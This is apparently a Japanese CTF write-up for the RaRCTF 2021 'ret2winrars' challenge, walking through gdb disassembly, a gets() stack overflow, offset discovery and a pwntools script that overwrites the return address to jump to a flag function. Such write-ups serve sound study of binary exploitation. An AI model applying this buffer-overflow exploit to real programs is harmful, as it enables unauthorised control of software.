RaRCTF 2021
Stack Overflow
問題名からreturn addressを書き換えると予想できる。
Let's debug!!!
gef➤ disass main
Dump of assembler code for function main:
0x0000000000401191 <+0>: push rbp
0x0000000000401192 <+1>: mov rbp,rsp
=> 0x0000000000401195 <+4>: mov rax,QWORD PTR [rip+0x2eb4] # 0x404050 <stdout@@GLIBC_2.2.5>
0x000000000040119c <+11>: mov ecx,0x0
0x00000000004011a1 <+16>: mov edx,0x2
0x00000000004011a6 <+21>: mov esi,0x0
0x00000000004011ab <+26>: mov rdi,rax
0x00000000004011ae <+29>: call 0x401070 <setvbuf@plt>
0x00000000004011b3 <+34>: lea rdi,[rip+0xe66] # 0x402020
0x00000000004011ba <+41>: call 0x401030 <puts@plt>
0x00000000004011bf <+46>: lea rdi,[rip+0xe7a] # 0x402040
0x00000000004011c6 <+53>: mov eax,0x0
0x00000000004011cb <+58>: call 0x401050 <printf@plt>
0x00000000004011d0 <+63>: mov eax,0x0
0x00000000004011d5 <+68>: call 0x401175 <get_license>
0x00000000004011da <+73>: lea rdi,[rip+0xe94] # 0x402075
0x00000000004011e1 <+80>: call 0x401030 <puts@plt>
0x00000000004011e6 <+85>: mov eax,0x0
0x00000000004011eb <+90>: pop rbp
0x00000000004011ec <+91>: ret
End of assembler dump.
17行目で、get_license
関数を呼び出しているので、その関数も見てみる。
gef➤ disass get_license
Dump of assembler code for function get_license:
0x0000000000401175 <+0>: push rbp
0x0000000000401176 <+1>: mov rbp,rsp
0x0000000000401179 <+4>: sub rsp,0x20
0x000000000040117d <+8>: lea rax,[rbp-0x20]
0x0000000000401181 <+12>: mov rdi,rax
0x0000000000401184 <+15>: mov eax,0x0
0x0000000000401189 <+20>: call 0x401060 <gets@plt>
0x000000000040118e <+25>: nop
0x000000000040118f <+26>: leave
0x0000000000401190 <+27>: ret
End of assembler dump.
9行目でgets
関数を呼び出していて、ここに脆弱性がある。
(以下にreturn addressまでのoffsetの求め方)
gef➤ pattern create 0x30
[+] Generating a pattern of 48 bytes (n=4)
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaa
[+] Saved as '$_gef0'
gef➤ c
Continuing.
Hello, welcome to the WinRaRs!
Please enter your WinRaR license key to get access: aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaa
~~~省略~~~
gef➤ x/xg $rsp
0x7fffffffe5a8: 0x6161616c6161616b
gef➤ pattern search 0x6161616c6161616b
[+] Searching for '0x6161616c6161616b'
[+] Found at offset 40 (little-endian search) likely
get_license
の6行目:rax,[rbp-0x20]
と、この問題バイナリは64bitなので、0x20+8
の40がoffsetとして正しいと考えられる。
あとは、flagを出力する関数に飛ばすだけ。
(flagを出力する関数を確認する。)
gef➤ info functions
All defined functions:
Non-debugging symbols:
0x0000000000401000 _init
0x0000000000401030 puts@plt
0x0000000000401040 system@plt
0x0000000000401050 printf@plt
0x0000000000401060 gets@plt
0x0000000000401070 setvbuf@plt
0x0000000000401080 _start
0x00000000004010b0 _dl_relocate_static_pie
0x00000000004010c0 deregister_tm_clones
0x00000000004010f0 register_tm_clones
0x0000000000401130 __do_global_dtors_aux
0x0000000000401160 frame_dummy
0x0000000000401162 flag
0x0000000000401175 get_license
0x0000000000401191 main
0x00000000004011f0 __libc_csu_init
0x0000000000401250 __libc_csu_fini
0x0000000000401254 _fini
ただ、alignmentの問題が生じている。
そのため、(奇数個の)ret
を挟むことで、0x10の倍数に揃えてくれる。(だからsolverではret
を挟んでいる。)
from pwn import *
io = process("./ret2winrars")
payload = b""
payload += b"A"*0x20 + b"B"*8
payload += p64(0x401190) # ret
payload += p64(0x401162)
io.sendlineafter("access: " ,payload)
io.interactive()
[1] what is “stack alignment”? - StackOverflow
[2] スタックのアラインメント - GitHub Gist